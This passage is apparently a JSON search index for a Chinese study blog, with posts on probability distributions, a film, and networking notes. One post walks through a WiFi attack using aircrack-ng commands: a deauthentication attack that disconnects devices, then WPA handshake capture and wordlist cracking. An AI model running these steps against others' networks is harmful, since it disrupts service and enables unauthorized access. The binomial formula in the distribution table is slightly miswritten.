title=\"CRC冗余循环校验码\"\u003e\u003c/a\u003eCRC冗余循环校验码\u003c/h3\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/"},{"title":"第二章:随机变量及概率分布","time":"2023-02-04T04:15:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"一维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%B8%80%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"一维随机变量\"\u003e\u003c/a\u003e一维随机变量\u003c/h2\u003e\u003cp\u003e是关于实验结果的变量。实验结果用一系列离散值表示的称为\u003cstrong\u003e离散型随机变量\u003c/strong\u003e,用连续值表示的称为\u003cstrong\u003e连续型随机变量\u003c/strong\u003e。一维表示随机变量只包含一个关于实验结果的变量。\u003c/p\u003e\u003ch3 id=\"离散型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E7%A6%BB%E6%95%A3%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"离散型随机变量分布\"\u003e\u003c/a\u003e离散型随机变量分布\u003c/h3\u003e\u003cp\u003e就是各个实验结果的概率分布情况。例如随机掷一个6面骰子,结果可能是1-6,而每一个结果的概率都是$\\frac{1}{6}$,即$P(X=1)=P(X=2)=\\cdots =P(X=6)=\\frac{1}{6}$。\u003c/p\u003e\u003ch4 id=\"二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"二项分布\"\u003e\u003c/a\u003e二项分布\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e样本趋于无穷大情况下的超几何分布可以近似看作二项分布\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e每次实验的结果只有两个,概率分别为$p$和$1-p$。这分布表示多次实验的结果分布,例如抛$n$次硬币,最终正面朝上的次数为$m$的概率就可以用二项分布表示。\u003c/p\u003e\u003ch4 id=\"泊松分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%B3%8A%E6%9D%BE%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"泊松分布\"\u003e\u003c/a\u003e泊松分布\u003c/h4\u003e\u003cp\u003e表示某种小概率事件发生的可能性。\u003c/p\u003e\u003ch4 id=\"超几何分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B6%85%E5%87%A0%E4%BD%95%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"超几何分布\"\u003e\u003c/a\u003e超几何分布\u003c/h4\u003e\u003cp\u003e这用于处理抽样中的无放回情况概率。\u003c/p\u003e\u003ch4 id=\"负二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B4%9F%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"负二项分布\"\u003e\u003c/a\u003e负二项分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch3 id=\"连续型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%BF%9E%E7%BB%AD%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"连续型随机变量分布\"\u003e\u003c/a\u003e连续型随机变量分布\u003c/h3\u003e\u003cp\u003e连续型随机变量激就是之前说过的那种,事件结果是不可数正无穷的(比如在坐标系里随机丢一个钉子,其位置到原点的距离)。\u003c/p\u003e\u003ch4 id=\"正态分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%AD%A3%E6%80%81%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"正态分布\"\u003e\u003c/a\u003e正态分布\u003c/h4\u003e\u003cp\u003e也叫高斯分布。\u003c/p\u003e\u003ch4 id=\"指数分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%8C%87%E6%95%B0%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"指数分布\"\u003e\u003c/a\u003e指数分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch4 id=\"威布尔分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A8%81%E5%B8%83%E5%B0%94%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"威布尔分布\"\u003e\u003c/a\u003e威布尔分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch2 id=\"多维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A4%9A%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"多维随机变量\"\u003e\u003c/a\u003e多维随机变量\u003c/h2\u003e\u003cp\u003e也称为随机向量,是由多个随机变量构成的向量。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e后面再写\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/"},{"title":"流浪地球2观影小记","time":"2023-02-02T09:12:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e刚才回想的时候,对2的几个细节有一些猜测。稍微整理一下思路吧。我尽量猜的贴近电影原剧情一点(\u003c/p\u003e\u003cp\u003e1.2075木星危机后,moss或许已经寄了?\u003c/p\u003e\u003cp\u003e首先是隔离计划:出现在片尾ed前,内容是把AI全部转移到领航者号国际空间站上,同时AI决策都要经过联合国审核。名义上是转移AI帮助建设,实际感觉有和重要系统(地球发动机控制中心)切割的意图。\u003c/p\u003e\u003cp\u003e因为球2里边,控制中心应该是在建的状态,因为那时(2058)发动机专用网络尚未完成,得依赖互联网根服务器才能并网点火。而且字母也写的很清楚,那个控制中心是临时的。所以这“切割”确实有道理:网络尚未完成,先把moss丢远点防着它再搞事(×)。毕竟周复盘2058一定会疑惑:月1发动机咋炸的。根据周掌握的信息,他可能是有意识切割AI到空间站的。\u003c/p\u003e\u003cp\u003e其次:1的最后领航者号炸的只剩下个休眠仓了\u003c/p\u003e\u003cp\u003e不过有一个问题我想不通,就是2的ed后彩蛋:moss提到了2078氦闪危机,这和我的猜测矛盾。我本身不太能认可时间可逆转的设定\u003c/p\u003e\u003cp\u003e不过向过去用中微子发信我不知道有没有可能,因为在片尾,DUDE中微子实验室于2065年收到了2075木星危机的告警。但是我还是倾向于都是它干的,只不过它提前10年通知了\u003c/p\u003e\u003cp\u003e2.彩蛋情节发生在何时?\u003c/p\u003e\u003cp\u003e片尾ed一转拆红包(是新年元素(确信))出来2075预告。看背景也有点像空间站。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/02/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%B5%81%E6%B5%AA%E5%9C%B0%E7%90%832%E8%A7%82%E5%BD%B1%E5%B0%8F%E8%AE%B0/"},{"title":"常用分布的期望和方差","time":"2023-01-30T19:24:43Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e分布\u003c/th\u003e\u003cth\u003e分布律/概率密度\u003c/th\u003e\u003cth align=\"center\"\u003e数学期望\u003c/th\u003e\u003cth align=\"center\"\u003e方差\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0-1分布\u003c/td\u003e\u003ctd\u003e$p(x=k)=p^k(1-p)^{1-k},k=0,1$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e二项分布$B(n,p)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=C_n^kp^k(1-p)^{1-k}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e泊松分布$P(\\lambda)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=\\frac{\\lambda^ke^{-\\lambda}}{k!}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e均匀分布$U(a,b)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{b-a},(a\\lt x\\lt b)$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{a+b}{2}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{(b-a)^2}{12}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e正态分布$N(\\mu,\\sigma^2)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\sigma^2$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e指数分布$E(\\theta)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\theta e^{-\\theta x},x\\gt 0; 0, other$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta^2}$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/30/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E5%B8%B8%E7%94%A8%E5%88%86%E5%B8%83%E7%9A%84%E6%9C%9F%E6%9C%9B%E5%92%8C%E6%96%B9%E5%B7%AE/"},{"title":"基于Kali的WiFi攻击","time":"2023-01-28T08:30:04Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e仅限于合法用途,责任自负\u003cbr/\u003eLegal purpose only, do it at your own risk.\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003col\u003e\u003cli\u003e检查网卡情况\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在终端输入 \u003ccode\u003eifconfig\u003c/code\u003e , 如果看到 \u003ccode\u003ewlan0\u003c/code\u003e , 就进行下一步。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e启动监控模式\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e用下面的命令启动设备:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earimon-ng start wlan0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在\u003ccode\u003eifconfig\u003c/code\u003e的输出中,你就能看到名叫\u003ccode\u003ewlan0mon\u003c/code\u003e的设备。然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e来启动监听。用下面的指令停止监听:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairmon-ng stop wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"断网攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E6%96%AD%E7%BD%91%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"断网攻击\"\u003e\u003c/a\u003e断网攻击\u003c/h2\u003e\u003cp\u003e扫出来目标设备之后,用\u003ccode\u003ectrl+c\u003c/code\u003e停止扫描,然后再开个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaireplay-ng -0 0 -a [BSSID] wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后回来这个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng -c [CH] --bssid [BSSID] -w ~/ wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后连接那个路由器WiFi的设备应该就会断联了。\u003c/p\u003e\u003ch2 id=\"破解密码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81\" class=\"headerlink\" title=\"破解密码\"\u003e\u003c/a\u003e破解密码\u003c/h2\u003e\u003cp\u003e当你捕捉到这样的握手包 \u003ccode\u003eWPA handshake: [PACKAGE]\u003c/code\u003e时, \u003ccode\u003eCtrl+c\u003c/code\u003e停止指令\u003c/p\u003e\u003cp\u003e然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaircrack-ng -a2 -b [PACKAGE] -w [PATH-TO-PASS-DICTIONARY] ~/*.\u003cspan class=\"built_in\"\u003ecap\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eKali的自带字典一般在这: \u003ccode\u003e/fs/usr/share/wordlists/rockyou.txt.gz\u003c/code\u003e. 解压,然后把\u003ccode\u003erockyou.txt\u003c/code\u003e的路径替换到上边,回车。然后应该就能获取到密码了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/"},{"title":"计算机网络笔记","time":"2023-01-27T15:07:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-3-数据和信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-3-%E6%95%B0%E6%8D%AE%E5%92%8C%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"Chap.3.数据和信号\"\u003e\u003c/a\u003eChap.3.数据和信号\u003c/h2\u003e\u003ch3 id=\"模拟和数字\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%92%8C%E6%95%B0%E5%AD%97\" class=\"headerlink\" title=\"模拟和数字\"\u003e\u003c/a\u003e模拟和数字\u003c/h3\u003e\u003cul\u003e\u003cli\u003e信息 要传输的,被人理解的内容\u003c/li\u003e\u003cli\u003e数据 对个人/程序有用,可以用信号表示\u003c/li\u003e\u003cli\u003e信号 物理层面的概念。可以用模拟和数字两种形式\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号的描述方式我们已经很熟悉了,就是频率,周期,相位之类的指标,再加上频域特征的表示。\u003c/p\u003e\u003ch3 id=\"带宽\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%B8%A6%E5%AE%BD\" class=\"headerlink\" title=\"带宽\"\u003e\u003c/a\u003e带宽\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e带宽\u003c/strong\u003e:就是复合信号包含的频率范围\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e信噪比\u003c/strong\u003e:定义是$\\frac{\\text{信号能量}}{\\text{噪波能量}}$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e比特率\u003c/strong\u003e:1秒发送的位数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通道有两种类型:\u003cstrong\u003e低通通道(频率下限从0开始)和带通通道(从非0频率开始)\u003c/strong\u003e。同时,数字信号传输方式有两种:\u003cstrong\u003e基带传输和宽带传输\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e基带传输:借助一个低通通道,将信号直接传输。但是数字信号是带宽无穷的复合模拟信号,因此这种方式在现实中总会存在失真。\u003cul\u003e\u003cli\u003e所需带宽和比特率成正比;想发送地更快,就需要更大的带宽\u003c/li\u003e\u003cli\u003e要以1Mbps速率发送数据,最小带宽是1/2=500KHz。如果用到N次谐波,则再乘以N得到所需带宽。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e宽带传输(使用调制):使用带通通道时,只能使用这种方法发送数字信号。它在发送前将数字信号转换成模拟信号。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"传输减损\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E5%87%8F%E6%8D%9F\" class=\"headerlink\" title=\"传输减损\"\u003e\u003c/a\u003e传输减损\u003c/h3\u003e\u003cp\u003e三种类型:\u003cstrong\u003e衰减、失真和噪声\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"数据速率限制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E6%8D%AE%E9%80%9F%E7%8E%87%E9%99%90%E5%88%B6\" class=\"headerlink\" title=\"数据速率限制\"\u003e\u003c/a\u003e数据速率限制\u003c/h3\u003e\u003cp\u003e受制于\u003cstrong\u003e有效带宽、使用的信号电平数、通道的质量(噪声电平)\u003c/strong\u003e 这三个因素。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奈奎斯特定理:无噪通道时,理论最大比特率为$2\\times\\text{带宽}\\times log_2L$,其中$L$是电平数。\u003c/li\u003e\u003cli\u003e香农定理:有噪声通道的理论容量为$\\text{带宽}\\times log_2(1+SNR)$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e香农容量定理给出数据速率的上限,奈奎斯特公式给出所需的信号电平数。\u003c/p\u003e\u003ch3 id=\"性能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%80%A7%E8%83%BD\" class=\"headerlink\" 